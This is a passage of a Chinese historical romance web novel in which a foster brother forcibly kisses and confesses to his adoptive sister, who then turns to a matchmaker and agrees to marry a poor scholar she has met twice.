季珣瘦削纤长的手指缓缓碾过她的唇瓣,将她唇上还未来得及洗去的口脂一点点抹去,直到再也看不出一点痕迹,这才停住手中动作,“阿姐为何喜欢他?喜欢他的相貌?才学?抑或是家世?” 顿了顿,他又轻声道:“这些我也能够给阿姐?阿姐为何就是不愿意看看我?” “阿珣,你烧糊涂了!”姜芸薇迫不及待的出声,打断了他。她不能够再听下去了,一旦捅破这一层薄薄的窗户纸,他们便再也回不到从前了。 她转身想要逃离这里,季珣却步步紧逼,一把攥住她的手腕,姜芸薇还没反应过来,另一只手也被他擒住,季珣反手将她抵在身后的墙壁上。 “阿姐,你还想要逃避到什么时候?我现在很清醒。”他俯身逼近,胸膛紧贴着她的身体,将她困在墙壁与他自己的方寸之间,身上灼热的气息尽数喷洒在她的脸颊上。 姜芸薇寒毛倒竖,浑身战栗,她拼命挣脱着,想要抽回手。 然而,男女之间力量悬殊,季珣分明身在病中,禁锢她手掌的力道却犹如铁钳般纹丝不动,姜芸薇忍不住脱口喊道:“阿珣,你疯了,快放开我,我是你的姐姐!你不能这样!” “姐姐?你根本不是我的姐姐,我们之间并无任何血亲关系。”季珣嗓音干哑发涩,尤带着几分病中虚颤,比往日里沉了不少。 姜芸薇面色发白,她颤抖着嗓音,“阿珣,你听我说,你对我压根不是男女之情,只是我们朝夕相处,你错把亲情当成了爱情,你先放开我,我们还和以前一样,就当做什么都没有发生过……” 她话还没说完,季珣蓦地俯下身,衔住她薄薄的两片唇—— 他的唇瓣温热,还带着微苦微涩的药味,姜芸薇脑海中“嗡”的一声,脸上血色瞬间褪的一干二净。 她愣神的片刻,他的舌头已经撬开她的齿关,蛮横的闯了进来,在她口腔里横冲直撞,肆意掠夺她唇齿间的气息。 姜芸薇舌尖被他吮的发麻,她整个人如同木雕一般,僵在原地,浓重的压迫感裹的她几乎快要窒息。 “阿珣,你别这样。”姜芸薇喘不过气来,想要推开他,然而浑身软绵绵的,使不上力气,身子几乎站立不稳。 许久后,季珣这才大发慈悲的放开她。 姜芸薇面泛红霞,气喘吁吁,她的唇瓣沾染了他唇舌间的津液,盈盈发亮,就连两片唇瓣,都被他亲的有些肿胀了,看起来可怜又可欺。 季珣伸出一根手指,轻轻擦去她唇间沾染的湿痕,眸光幽暗的觑着她,“阿姐,你现在还觉得,我分不清亲情和爱情吗?” 他落在自己身上的眼神,恍若恶狼盯着猎物,又凶又贪,勾人心魄,姜芸薇如遭雷劈,心底生寒,眼前的男子,分明是朝夕相处,从小一起长大的弟弟,然而此时此刻,却陌生的令她感到心惊。 季珣的手,还扣在她的腕间,令她动弹不得,她心口发紧,语气中不自觉多了几分祈求的意味,“阿珣,你先放开我,我们有话好好说。” 第45章 第45章 这是悖逆伦常 话音落下的瞬间, 眼泪已经如断线珠帘般扑簌簌的滚落下来。 季珣怔了一下,心尖蓦地一软,他抬起手, 温柔的拭去她眼角的泪珠, “阿姐,为何要哭?” 姜芸薇抽噎了一下,眼泪反而落得更凶。 怎么能不落泪呢?自己一直视之为弟弟的少年, 却对她有了这般大逆不道的心思, 倘若九泉之下的季母知晓了,又会如何看待她?再过不久, 季珣就要去参加会试了,眼下这个节骨眼, 却偏偏出了这档子事情。 倘若是旁人, 打骂一顿也就罢了, 可季珣是她的弟弟, 打又打不得, 骂又骂不得,她实在是不知道该如何是好了。 她温热的眼泪猝不及防砸在他摊开的掌心里,犹如滚烫的热油,灼的他心尖都颤了颤。 季珣松开对她的禁锢,自嘲一笑,“阿姐,你便这般厌恶我么?” “阿珣。”见他语气低落, 姜芸薇终是心生不忍,她眸中还沾着未干的水汽,一双眼湿漉漉的,恍若被春雨打湿的梨花, “你是我的弟弟,是我唯一的亲人,姐姐疼你爱你还来不及,又岂会厌恶你,只是阿珣,我一直都将你当成弟弟看待,你如今还太小了,尚分不清依赖和爱慕。” 季珣乌沉的眸中泛着细碎的亮光,前世他活了二十多年,又岂会分不清什么是依赖?什么是男女之间的爱慕之情?况且这辈子,他这具躯体也不过才比姜芸薇小两岁罢了。 他垂下眼帘,半边侧脸隐在黑暗中,自喉间滚出一声嗤笑,语气讥诮道:“我知道,阿姐觉得我年龄小,不懂事,可是我至少敢直面自己内心的感情,可是阿姐你呢?明明早就察觉到了,却偏偏要自欺欺人,假装什么事情都没有发生过。” 他的话恍若一根淬了冰的尖利银针,猝不及防戳进了姜芸薇的心窝,她脸色煞白,嘴唇发颤,说不出话来。 她素来性子软弱,但凡遇到什么解决不了的难题,总是习惯缩起身子逃避,用自欺欺人的方式粉饰太平。 然而此刻,却被季珣逼得退无可退,他的目光太沉太烫,几乎要灼穿她的皮肉,将她慌乱紧张、焦灼不安的内心照得无所遁形。 姜芸薇不知是热的,还是太过紧张,后背不知不觉间已经冒出了细密的冷汗,她张了张唇,“阿珣,我……” 季珣握住她的手腕,倏尔一笑,“阿姐,你平日里不是最疼我爱我了吗?往后我们两个还做姐弟,一辈子都在一起,可好?” 他的语调温柔,恍若情人之间的呢喃低语。 姜芸薇却只觉得一阵寒意从四肢窜上脊背,她身子隐隐发颤,“ 阿珣,姐弟就是姐弟,岂可变成夫妻,这是悖逆伦常!” 季珣弯唇一笑,眼尾微微扬起,神情看上去竟有几分少年人未经世事的天真,“阿姐,我们又不是亲姐弟,何来悖逆伦常一说?” 姜芸薇头皮发麻,不敢再继续听下去,她抽回手腕,“阿珣,莫要再说了,你如今会试在即,应当以学业为重。” 季珣定定看她半晌,他蓦地抬手,想要将她耳畔的一缕长发撩到耳后,姜芸薇见他这动作,却如临大敌般,猛的往后退了几步,仿佛他是什么洪水猛兽一般。 他的手顿在半空,周遭的空气都似乎瞬间凝固住了,俄而,他自嘲的扯了扯唇,声线沉的发闷,“好,既然阿姐这样说,那就等会试结束后,再给我一个答案吧,我等着阿姐。” 答案?什么答案? 姜芸薇愈发心慌意乱,脑海中一团乱麻,她哪里能给他什么答案!她从来都只把季珣当成弟弟看待!从无半分绮念,又怎么可能生出男女之情? 不过,如今季珣好不容易肯松口了,姜芸薇自然乐见其成,能拖一阵是一阵吧,眼下最重要的就是季珣三月初的会试,寒窗苦读数十载,断不能因为这些事情乱了他的心神,影响了此次考试,否则,她又有何颜面去见九泉之下的季母呢? * 昨日彻夜未眠照顾生病的季珣,姜芸薇几乎没怎么合眼,翌日,一直睡到晌午才起,灶台上热着饭菜,屋内却已经不见了季珣的踪影。 她下意识的松了口气。 如今捅破了那层窗户纸,两人又同住一个屋檐下,免不了经常碰面,她压根不知道该如何面对季珣,罢了,往后还是能躲则躲吧。 姜芸薇用过午膳后,便独自去了街市上。 她心头记挂着昨夜失约的事情,原本是想去找林遇解释,然而却又不知晓他的住所,便只好作罢,只是这桩事情压在心底沉甸甸的,既愧疚难安,还有一丝说不清道不明的遗憾。 为何偏偏是昨夜?倘若季珣没有突发高热就好了,或许这一切就不会发生。 街上车马喧阗,昨夜的热闹还未淡去,两旁挑着担子的小贩高声叫卖,人流如织,姜芸薇顺着人潮往前走,想要去前面的书铺买些笔墨纸砚。 突闻身后一阵慌乱,她回头看去,只见一辆马车骤然失控般直冲过来,道路两旁的行人纷纷避让,唯有一个青衣男子,一动不动的立在一个冰糖葫芦的摊贩前,似乎并未察觉到身后的动静。 眼看着马车就要撞上他,姜芸薇心中一紧,连忙不假思索的伸手攥住他的胳膊往后猛扯,两人踉跄着跌坐在地,马车擦着衣角疾驰而去,扬起的尘土扑面,落了满脸。 姜芸薇捂着胸口,还有些心有余悸,她拍了拍身上的灰尘,连忙扭头去看身侧的男子,“这位公子,你没事吧? 男子抬起头,露出一张清隽斯文的面孔。 似乎有些眼熟。 姜芸薇愣了半晌,才猛的反应过来,眼前的男子正是当初她和季珣初入京城时,在悦来客栈遇到的那个书生。 岑墨显然也认出了她,他双眸一亮,惊喜道:“姑娘,是你,我总算寻到你了!” 姜芸薇赠笔的次日,他便去寻过她,只是客栈小二却说,那位姑娘只在客栈住了一晚上,便离开了。 岑墨失落不已,人海茫茫,两人萍水相逢,他该去何处寻她呢? 这些日子,每次在街上,但凡遇到和她身量相仿,背影相似的女子,他总会不受控制的上前辨认,然而每一次,都是空欢喜一场。 他连她的姓名都不知道,只知晓她是陪弟弟来京城参加会试的,这一点,还是客栈小二告诉他的。 他原本以为此生都难以相见了,不料却在此地偶遇,况且,她又帮了他一次,难不成,是老天爷知晓他这痴念,这才特意成全他吧? 姜芸薇怔了怔,轻声询问道:“公子,你寻我做什么?” 看着她朱唇皓齿,清丽脱俗的模样,岑墨脸颊蓦地泛起一丝红晕,他慌忙低下头不敢多看,只细声道:“姑娘,当日多谢你赠笔,解了我的燃眉之急,这些日子,我一直想要向姑娘道谢,奈何却遍寻姑娘踪迹不得。” 姜芸薇莞尔,“不过一支笔罢了,公子何必挂怀。” 听她轻飘飘的语气,岑墨急忙抬头,“于姑娘而言,或许这只是一只普通的笔,但是对我而言,这份雪中送炭的情谊更为珍贵,况且,今日姑娘又救了我一次,我实在无以为报。” 姜芸薇弯唇一笑,“公子言重了,不过举手之劳罢了。” “姑娘,你在此处稍等我片刻。”岑墨低声道。 话毕,他转身一溜烟钻入人群之中。 姜芸薇愣了一下,却并没有离去。 很快,岑墨就去而复返,他的手中拿着两串冰糖葫芦,递至姜芸薇的面前,有些局促的开口道:“姑娘,我妹妹以前在家中的时候,极爱吃这个,方才看到这糖葫芦,便忍不住想起了她,不知道姑娘喜欢吃什么,便自作主张买了两串。” 瞧见他满脸期待的神情,姜芸薇终是不忍拒绝,她伸手接过一串糖葫芦,柔声道:“我只吃一串便够了,另外一串,公子自己留着吃吧。” 岑墨见她答应,眉眼霎时亮了,连忙点头应下。 两人便立在车水马龙的大街上,各自执着一串糖葫芦慢慢吃了起来,甜味在舌尖蔓延开来。 姜芸薇已经许久没有碰过这种零嘴了,还记得在很小的时候,季母为了哄她,总是给她和季珣买糖葫芦吃,后来她渐渐长大,懂事了不少,知晓生计艰难,赚钱不易,便再也不吵着闹着要吃这些东西了。 “姑娘,我听客栈小二说,你是陪弟弟来京城参加会试的?”岑墨突然道。 闻言,姜芸薇微微一怔,继而,缓缓颔首。 一想到昨天晚上所发生的事情,她的心中便五味杂陈。 怎么偏偏就演变成如今这般境地了呢? 或许,当初她就应该留在柳溪村,让季珣独自来京城参加会试,这一切或许就不会发生了。 见姜芸薇神情有异,岑墨连忙关切问道:“姑娘,你的脸色瞧着不太对劲,可是发生什么事情了?” 姜芸薇回过神来,却不知道该如何开口。 她此时心绪纷乱,千头万绪缠在一起,搅得她心神不宁。 第46章 第46章 所谓姻缘天定 岑墨十九年来, 都一心只知道读圣贤书,于儿女情长懵然不知,他活了这么大岁数, 和女子说过的话都屈指可数, 少得可怜。 如今瞧见心中挂念的姑娘眉眼间凝着愁绪,他有心想要开解她,却又怕自己笨嘴拙舌的, 反而弄巧成拙, 唐突了人家姑娘。 踌躇半晌后,他终是按耐不住开口道:“姑娘若是有什么烦心事, 不妨说说看,我看看有没有能够帮得上姑娘的地方。” 姜芸薇自然说不出口。 这样悖逆不轨的事情, 岂是能够对外人宣之于口的, 姜芸薇在心中无奈的叹了口气, 话锋一转道:“对了, 公子, 我方才听你说,你家中还有一个妹妹?” “对。”提及自家妹妹,岑墨眉眼间的拘谨散去,面色都柔和了不少,“我父母早逝,只留下了我和妹妹相依为命,我们从小一起长大。” 姜芸薇能够从他的神情和语气之中感受出来, 他定然极为疼爱这个血脉相连的妹妹。 想到自己和季珣也是幼失怙恃,姜芸薇的心中不禁生出几分同病相怜之感,她语气柔和了几分,温声道:“那公子此次离开家乡, 远赴京城参加会试,一走就是好几个月,不会挂念你的妹妹吗?” 岑墨弯了弯唇,“我妹妹小我两 岁,去年已经成亲了,她的夫婿待她极好,上个月才刚收到她的来信,如今已经怀有身孕了,往后有旁人照料她,我也不用再担心了。” 他的语气之中满是欣慰,又藏着几分难以掩饰的怅然。 女子一朝出嫁,从此便是夫家的人了,往后,他和妹妹见面的机会也只会越来越少,不过没关系,只要妹妹能够找到值得托付终身的良人,过得安稳顺遂,他便心满意足了。 闻言,姜芸薇恍若醍醐灌顶般,脑海中瞬间冒出了一个念头。 对啊,嫁人! 她已经快要十八岁了,早就已经过了旁人议亲的年纪,之前许娘子劝了她好几次,然而那个时候,她一心只想着季珣的前程,压根没有将许娘子的话放在心上。 如今悔之晚矣。 倘若早知晓阿珣对她存了这般悖逆人伦的心思,她早该谋划自己的终身大事,只有嫁了人,季珣才能歇了这份心思,断了那些不该有的念想。 不过,如今醒悟还不算太迟。 许多女子及笄后便许了亲事,而她如今都已经快要十八岁了,也确实该认真考虑自己的终身大事了。 想到这里,姜芸薇只觉拨云见日,心绪豁然开朗,她的面上也多了一丝真心实意的笑容,“多谢你,公子,我明白了。” 看着她灿烂的笑靥,岑墨愣了愣,他挠了挠头,虽然不解缘由,然而他却也忍不住跟着笑了起来,“能够帮到姑娘就好。” 姜芸薇弯唇笑了笑,“公子,时候也不早了,我还要去前面的书斋买笔墨纸砚,就恕不奉陪了。” 听闻她要离开,岑墨连忙道:“对于笔墨纸砚我也略知一二,不如我陪姑娘一起去买吧?” 姜芸薇面露犹豫之色,“这样会不会太麻烦公子了?” 岑墨连忙摇头道:“不麻烦不麻烦,正好我这会儿也没什么事情,况且姑娘对我有大恩,能够做些微不足道的小事帮到姑娘,我心中高兴还来不及呢!” 盛情难却,姜芸薇只好颔首应下,况且,岑墨也是来京城参加会试的举子,寒窗苦读数十载,对于笔墨纸砚的挑选,自然比她要精通得多。 冬日暖阳悬在天际,融化了地面上的残雪,边缘泛起一层莹亮的水光,洇开浅浅的湿痕,僵冷的手脚也被烘得暖融融。 两人并肩往街边的书斋走去,一路上随意闲谈,交换了彼此的姓名。 岑墨忽而想起什么,询问道:“对了,姜姑娘,你是想要买笔墨纸砚,送给你的弟弟吗?” 姜芸薇沉默须臾后,才轻轻“嗯”了一声。 听后,岑墨忍不住感慨道:“姜姑娘和令弟感情真好。” 倘若是在从前,岑墨这样说,姜芸薇定会含笑点头应下,可是在经历了昨夜的事情后,她只觉心头沉甸甸的,再也无法回答这个问题。 她如今对季珣的感情很复杂,像是一团理不清的细线,毕竟是从小一同长大的弟弟,自从季母去世后,她便自觉承担起姐姐这个身份:照料他的衣食起居、操心他的学业,可是如今却陡然得知弟弟竟然对她有了那样的心思,震惊过后,便是惶恐,她害怕两人的姐弟情分因此事彻底崩塌,更害怕他看向自己时,那灼热到令人心慌的眼神。 缄默良久后,姜芸薇才叹了一声,“明日便是他的十六岁生辰了,所以我想要送套好些的笔墨纸砚给他。” 岑墨再次感慨出声,“原来如此,姜姑娘真是个好姐姐,令弟有你这样好的姐姐,当真是他的福气。” 姜芸薇勉强牵了牵唇角,不再多言。 她原本便打定主意,要在季珣生辰那日,送他一套笔墨纸砚的,可是经过昨夜的事情后,她满心纷乱,竟不知该如何面对他了。 只是生辰一年才只有一次,阿珣如今只剩下她一个亲人了,她实在是狠不下心,对他的生辰视而不见。 两人走进街边的一处书斋,姜芸薇并不了解这些,岑墨便帮着她挑了一套合适的笔墨纸砚。 待到结过账走出书斋,姜芸薇柔声道谢,“方才多谢岑公子了。” 岑墨连忙摆手道:“姜姑娘不必客气,你帮了我那么多,我这不过只是举手之劳罢了,不必放在心上。” 姜芸薇笑着点了点头,没有再多言。 她暗自思忖,这个岑墨倒是一个知恩图报之人,而且心思纯粹,没什么弯弯绕绕,倒是个值得结交的朋友。 两人又寒暄几句,这才在街市上分开。 * 姜芸薇将送给季珣的礼物放回家中后,又出了一趟门。 既然打定了主意要为自己寻一门好亲事,便要开始行动起来。 距离季珣会试的日子只有短短几个月,留给她的时间已经不多了。 永安坊的东巷并不像其余的街市那般规整,此处到处皆是低矮的瓦房,住的都是些三教九流之人,跑江湖的、做小买卖的……鱼龙混杂。 姜芸薇来京城也有一段时间了,自然听人提及过此处。 据闻,此处住着一位姓赵的媒婆,早些年曾是官媒,后来上了年纪,便辞了差事,在永安坊一带当冰人,专门撮合姻缘,替人说媒。 姜芸薇径直往前走,绕过瓦房,拐进一条僻静小巷中,紧接着,在一处院落门口停下,只见门口挂着一块木牌,上面用黑色的毛笔写着玉成好事、百年好合两行小字,想必这就是那赵媒婆的住所了。 姜芸薇犹豫一瞬后,深吸了口气,这才上前,轻轻叩了叩木门。 没过多久,门就被打开了,一个穿着蓝色夹袄、头上戴着同色抹额的婆子站在院子里,目光落在她的身上,“姑娘,你有什么事情?” 姜芸薇还未开口便先红了耳根,她咬着下唇,小声道:“敢问可是赵媒婆?我是住在隔壁巷子里的,今日来此,乃是想请赵媒婆为我说一门亲事。” 此言一出,赵媒婆不禁一愣。 现如今来找她说亲的,基本上都是着急子女婚事的父母长辈,倒是头一回见姑娘家亲自登门,来找媒婆说亲事的。 赵媒婆将姜芸薇从头到脚打量了一番,只见这姑娘俏生生立在门外,眉眼间虽然难掩紧张忐忑之色,却是生的眉眼温润、姿容出众,一身浅绿色夹袄衬得身段窈窕,恍若刚抽芽的柳条,身形纤弱柔美,连这逼仄简陋的小巷,都似被她衬得亮堂了几分。 赵媒婆双眸亮了亮,她侧过身,抬手做了个请的姿势,“外面风大,姑娘里面请。” 姜芸薇轻轻颔首,她有些忐忑的随着赵媒婆走了进去。 这屋子外面看着简陋,屋内却是格外干净整洁,青砖地面扫得锃亮,屋子正中摆了一张红木桌,桌上放着一套茶具,墙角燃着一炉子炭火,屋内干净暖融。 赵媒婆引姜芸薇在桌边坐了下来,紧接着,她拎起铜壶,往桌上的杯子里倒了两杯热气腾腾的茶水,她将其中一杯递过去,这才笑着道:“旁人议亲都是家中长辈帮着操持,姑娘怎么亲自来了?” 姜芸薇接过茶杯,暖了暖冻得发僵的手指,这才细声道:“父母早逝,家中再无其他长辈。” 闻言,赵媒婆心中不禁生出几分怜惜,真是个命苦的孩子,这么小就没了父母,就连终身大事,也要自己操持。 她语气和善了几分,“姑娘家中可还有其他人?” 姜芸薇垂眸道:“有的,还有一个弟弟,去年考上了举人,今年二月,便要参加会试了。” 赵媒婆笑着点了点头,“姑娘心中可有打算?想要嫁一个怎样的人家?” 姜芸薇握着茶杯的手指一顿。 她的脑海中情不自禁浮现出林遇的身影,可转念想起元宵失约之事,眸中不由闪过一抹黯然之色。 罢了,以林遇的才学,科考定能高中,届时前途不可限量,岂是她这样无依无靠的孤女配得上的?还是不要再生出这些不切实际的妄想了。 沉默半晌后,姜芸薇抬起头,将心中翻涌酸涩的情绪压下,柔声道:“不求家世显赫,只要 是清白人家的公子,郎君品行端正、心性敦厚,能够安稳度日就好。” 顿了顿,脸颊微微发烫,她又小声补充了一句,声音细若蚊呐,“最好是读过书的。” 似乎看出了姜芸薇内心的想法,赵媒婆笑道:“姑娘何必妄自菲薄,你生得貌美,性子又温柔,家中还有个举人弟弟,什么样的公子配不上?况且,姻缘这事情,看的从来都不是门第高低,说来说去,还是绕不开缘分二字,所谓姻缘天定,正是此意,姑娘放心,我定会为你寻一门合适的亲事。” 第47章 第47章 阿姐这段日子,可是在躲着我…… 姜芸薇回到家中后, 季珣还未归来,她悄悄松了口气。 她也没等季珣,自己吃过晚膳后, 又烧了热水洗漱擦身, 继而,早早的躺上了床榻歇息。 冬日天气严寒,姜芸薇闭着眼睛想要入睡, 然而手脚却是冰凉一片, 明明裹紧了棉被,寒意却依旧无孔不入的沿着被褥缝隙丝丝缕缕渗进来, 她素来畏寒,连忙把身子蜷缩成一团, 盼着这难熬的冬日早些过去。 次日, 季珣又是一整天都不见踪影。 到了傍晚时分, 姜芸薇才听见自院子外传来的细碎脚步声。 想必是季珣回来了。 姜芸薇眼睫轻轻颤了颤, 她拿过一旁桌案上摆着的朱红色绘花鸟纹的匣子, 里面装着昨日精挑细选的那套笔墨纸砚,这是她打算送给季珣的生辰礼物。 她犹豫了半晌后,终是咬了咬唇,站起身抱着匣子走了出去。 外间的堂屋里,季珣正端坐在桌边,手里捏着木筷,似乎正要用饭, 听见脚步声,他动作一顿,下意识的抬起头。 两人视线对上,姜芸薇像是被烫了般, 慌忙低下脑袋,她握着匣子的手指紧了紧,指节泛白。 季珣唇角几不可察的弯了弯,神色自若,“阿姐可是有什么事情吗?” 姜芸薇这才慢吞吞的走上前,将匣子搁在桌面上,小声道:“阿珣,生辰快乐。” 季珣目光盘桓在她的脸上,像是两把钝刀子,仿佛要一寸寸开剖开她的皮肉,看透她内心真实的想法。 姜芸薇有些不自在的垂下眼帘,声音细如蚊呐,“若是没什么事情,我便……” “阿姐,以往你都会给我煮一碗长寿面的。”季珣突然出声打断了她,他的嗓音低沉,尾音裹着几分自轻自嘲的意味,“阿姐如今竟是连多看我一眼都不愿了吗?想必是我已惹了阿姐厌烦。” 听着他低落委屈的语气,姜芸薇心间恍若被一双无形的手狠狠攥了一下,她慌忙抬头,急切辨解道:“阿珣,自然不是,不管发生什么事情,你永远都是我的弟弟。” 弟弟么? 季珣低敛眉眼,遮住了眸中翻涌的复杂情绪。 不管是弟弟,还是别的什么身份,只要能够一辈子待在她的身边,那些虚名,他从来都不在意。 “阿珣,你说的对,是我疏忽了,生辰确实要吃长寿面,我这就去给你煮。”话毕,不待季珣回应,姜芸薇连忙转身往灶房走去。 她如今实在是害怕和季珣共处一室,自然是能避则避,好在自从那夜以后,季珣没再做什么出格的举动。 季珣生的这般俊美,又是才华横溢,将来定然是前途不可限量,届时,哪怕是官宦人家的小姐,定然也是配得上的,他如今不过是年纪尚小,一时没想明白,错将这朝夕相处的姐弟情分当成了男女之情,等往后他见的姑娘多了,自然也就慢慢想通了。 姜芸薇只能在心中这般安慰自己。 锅内的水已经烧开,咕噜咕噜冒着白泡,她收回思绪,拿起一把挂面,轻轻放入滚烫的沸水中,白色的烟雾袅袅腾起,待到面条煮的泛白软烂,她又加了一个荷包蛋和一把青菜,最后洒上绿色的葱花,面条的香气霎时在灶房内弥漫开来。 姜芸薇盛了一碗,端着走了出来,“阿珣,面好了。” 季珣抬眼,语气中多了几分祈求的意味,“阿姐,你陪我一起吃些吧?” 他的双眸如同被水浸过的墨玉,亮的惊人,眼底漾着几分恳求,恍若害怕被丢弃的幼兽,看得人心头发软,不忍拒绝。 姜芸薇鬼使神差的点了点头,“好。” 她又进了灶房将剩下的面都盛了出来。 两人面对面坐在桌边,安静的吃着面。 季珣突然将碗中的荷包蛋夹出,放入她的碗中,“阿姐,这个荷包蛋给你吃吧。” 姜芸薇怔了怔,她夹着筷子的手顿了顿,嘴唇微翕。 似乎猜到她要拒绝,季珣率先开口,将她未尽之语堵在了口中,“阿姐,你如今太瘦了,应该多吃些。” 说完,他目光在姜芸薇身上停留两息。 女子低着头,露出一节纤长白净的后颈,恍若新剥了壳的春笋尖,莹白细腻,她鬓边几缕长发垂落下来,在耳边轻轻晃动,烛光映照在她的侧脸上,恍若蒙了一层柔纱,白的晃眼。 闻言,姜芸薇终是妥协般叹了口气,不再多言,她这个弟弟,看着虽然温和好说话,骨子里却分外强势霸道,一旦他决定了的事情,便不会轻易更改。 待到一碗面见了底,姜芸薇这才抬起眼帘,斟酌着字句,开口道:“阿珣,生辰快乐,阿姐祝愿你此次科考一举登科,蟾宫折桂,从此前程似锦。” 季珣听罢,唇角微扬,面上露出一抹浅淡的笑意,“多谢阿姐。” “不必客气。”姜芸薇垂下眼帘,不敢和他对视,她站起身,便欲收拾桌上碗碟。 “阿姐,我来吧。” 话音落下的瞬间,一只骨节分明的手蓦地覆了上来。 肌肤相触,两人俱是一顿,姜芸薇指尖恍若被火星灼了一下,连忙缩回手,她垂下眼帘,纤长的睫毛簌簌颤动,“好。” 瞧着她一副如临大敌的模样,季珣突然轻声道:“阿姐这段日子,可是在躲着我?” “我……”姜芸薇张了张唇,却说不出任何分辨的话。 这些日子,她确实是在躲着季珣,以往,两人都是一起用晚膳,然而这些日子,她都是趁着季珣还未归来,便匆匆吃完,紧接着,又早早的躲回了房间,因此,这几日,两人见面的次数都屈指可数。 将她的紧张神情尽收眼底,季珣唇角微弯,不急不缓道:“阿姐不必如此,我既然说过了,会等到会试结束,那么这段日子,便不会再强迫阿姐什么,阿姐大可放宽心。” 姜芸薇喉间干涩,沉默着不知该作何回应,她躲着季珣,除了害怕他步步紧逼以外,更是不知道该如何面对他,然而这些话,她却不好说出口,心思百转千回,半晌后,才从喉咙里发出闷闷的一声,“好。” 季珣这些日子确实很忙,自从他力挽狂澜阻止了漓江决堤,洪水倒灌之祸后,他的名声,便响彻京城,不止三皇子秦煜,就连太子,也特意派遣心腹,邀请他入东宫一叙。 现如今朝堂之上,储位之争愈演愈烈,最炙手可热的人选,莫过于三皇子秦煜和太子秦昭。 秦昭乃是先皇后所出,是嫡长子,然而他却性情庸碌,爱好美色,日日流连于脂粉堆中,而秦煜乃是王贵妃之子,王贵妃出身琅琊王氏,身份尊贵显赫,三皇子秦煜其人亦是文武双全,精明强干。 满朝文武皆料定,储君之位定然在两人之中,谁都不曾料到,前世,季珣竟会一力扶持那位名不见经传的六皇子登基为帝。 * 没过几日,赵媒婆竟亲自登门,找了上来。 姜芸薇虽有些惊讶,却很快收敛心绪,客客气气的将人请入屋内,又沏了热茶奉上。 与此同时,心尖儿突突直跳,后怕不已——幸好今日季珣不在家中,否则若是撞上了,她想要借嫁人摆脱季珣一事,便瞒不住了。 赵媒婆笑眯眯的开口说道:“姜姑娘,前些日子,你说想要找个读书人,老身这几日仔细想了想,我还当真认识一个读书人,就住在我隔壁,乃是自京城参加会试的举子,相貌周正,人品也没话说,上次,我崴了脚,那孩子极为热心,不仅主动背着我去了医馆,还照顾了我好几日。” “不过……”赵媒婆停顿一瞬,抬眼觑了觑姜芸薇的神色,这才继续开口,“这孩子就是家境贫寒了些,不过他极有上进心,依我看,他此番科考,定能榜上有名。” 闻言,姜芸薇心中一动,她垂下眼,柔声道:“家境贫寒些倒不要紧,两个人皆是有手有脚的,还怕日子过不下去吗?只要不是那等好吃懒做之人就好,况且,人品秉性才是最重要的。” “那就成了!”赵媒婆笑的眼角堆起了褶子,“依我看,那孩子和姑娘你还挺相配的,都是温柔和煦的好性子,姑娘你若是愿意的话,不如我回去后便将此事告知他,下次再带他来此,和姑娘你见上一面。” 姜芸薇心中一紧,连忙道:“不如我送婆婆回去,顺便见一见那位公子吧。” 若是赵媒婆带着人来,恰好撞见季珣,那就不好了。 赵媒婆一听,当即眉开眼笑应下了,“好。” 姜芸薇随着赵媒婆回了家,刚走到院子里,便听到身后传来一道少年清亮的嗓音,“赵婆婆,我今日去街上买了些糖糕,给你拿了些来。” 她回头看去,待看清那人面容上,脸上顿时露出惊愕之色——竟然是不久之前才刚见过的岑墨。 岑墨显然也没有料到会在此处遇到姜芸薇,喜悦之色瞬间跃上脸庞,他语气欣喜道:“姜姑娘,你怎么会在此?” 瞧见两人相识,赵媒婆心头瞬间乐开了花,“原来你们竟然还是旧相识,那可真是太好了。” 第48章 第48章 多谢岑公子,我很喜欢 赵媒婆活了大半辈子, 撮合过数百桩姻缘,一双眼何其毒辣,又岂会看不出来, 岑墨这小子瞧见姜姑娘时, 眸中骤然盛起的亮色。 这还真是巧了,没想到岑墨这个小子早就对姜姑娘有意,如此看来, 这桩姻缘, 已是成了七八分了。 岑墨是前不久刚搬来的,赵媒婆给别人做了大半辈子的媒, 撮合姻缘无数,只她自己, 年轻的时候, 夫君便染了急病离世了, 从那以后, 她就没有再嫁, 这么多年来,都是一个人生活,日子虽然平淡却也自在,只是人上了年纪,腿脚到底不济,那日,她不慎崴了脚, 躺在地上疼的直不起身,是住在隔壁的岑墨最先发现,二话不说便背着她去了医馆,又亲力亲为的照顾她直到痊愈, 这少年宅心仁厚,往后成了亲,定然也是个疼爱妻子的好夫君。 赵媒婆并非那等乱点鸳鸯谱、专赚黑心钱的媒婆,相反她撮合姻缘之前,必先亲自观察打听男女双方的秉性品行,这些日子,她自然也特意打听过姜芸薇,街坊邻居都说,这姑娘虽然刚搬来不久,却是个性子极好的,娴静温柔。 既然两个都是好孩子,赵媒婆便想着撮合他们。 看着岑墨亮莹莹的眸子,姜芸薇一时脸颊生热,她慌忙垂下眼眸,羞的说不出口。 看出了姜芸薇的羞赧,赵媒婆没好气的剜了岑墨一眼,笑着打趣,“你呀,还真是个书呆子,姜姑娘来此寻我,自然是为自己的终身大事而来,你也老大不小的年纪了,可有考虑过自己的终身大事?” 岑墨呆了一下,紧接着,似乎想通了其中关窍,他的脸上霎时露出喜悦的神情,忙不迭点头道:“考虑的。” 赵媒婆笑吟吟开口,语气恳切又直白,“既然姜姑娘你和岑墨这小子是旧识,那老婆子我就直言不讳了,老婆子我活了大半辈子,看人一向很准,岑墨这孩子,性子虽憨直了些,但是人品秉性却是没话说,家境虽说清贫了些,这孩子却极有上进心,这段时日,日日出去给人抄书一直到深夜方归,相貌也生的俊俏,姜姑娘,你瞧着合意么?” 姜芸薇缓缓抬眼,目光落在岑墨身上,忆起两人几番机缘巧合的相遇,她心头微动,或许这就是话本子上所说的缘分吧。 几次接触下来,岑墨这人,确实秉性纯良,又知恩图报,再加上有举人功名在身,能嫁给这样的郎君,于她而言,已是莫大的幸事。 思及此,她垂下眼帘,双颊泛红,轻轻点了点头。 这就是同意的意思了! 见状,岑墨瞬间被一阵巨大的喜悦击中,自从那日客栈赠笔后,姜芸薇清丽脱俗的面容便深深烙进了他的心底,他日日念着、夜夜想着,却从未想过,今生竟能如愿以偿,有机会和她结为夫妻,执手相伴一生。 赵媒婆笑弯了眼睛,喜滋滋道:“既然你们彼此有意,那这桩婚事就成了,你们两个都是苦命的孩子,父母早逝,家中也没个什么长辈做主,倘若不嫌弃的话,便由老身来给你们当这个主婚人,促成这桩亲事。” 姜芸薇眼睫颤了颤,低头腼腆一笑,“如此,那就多谢赵媒婆了。” 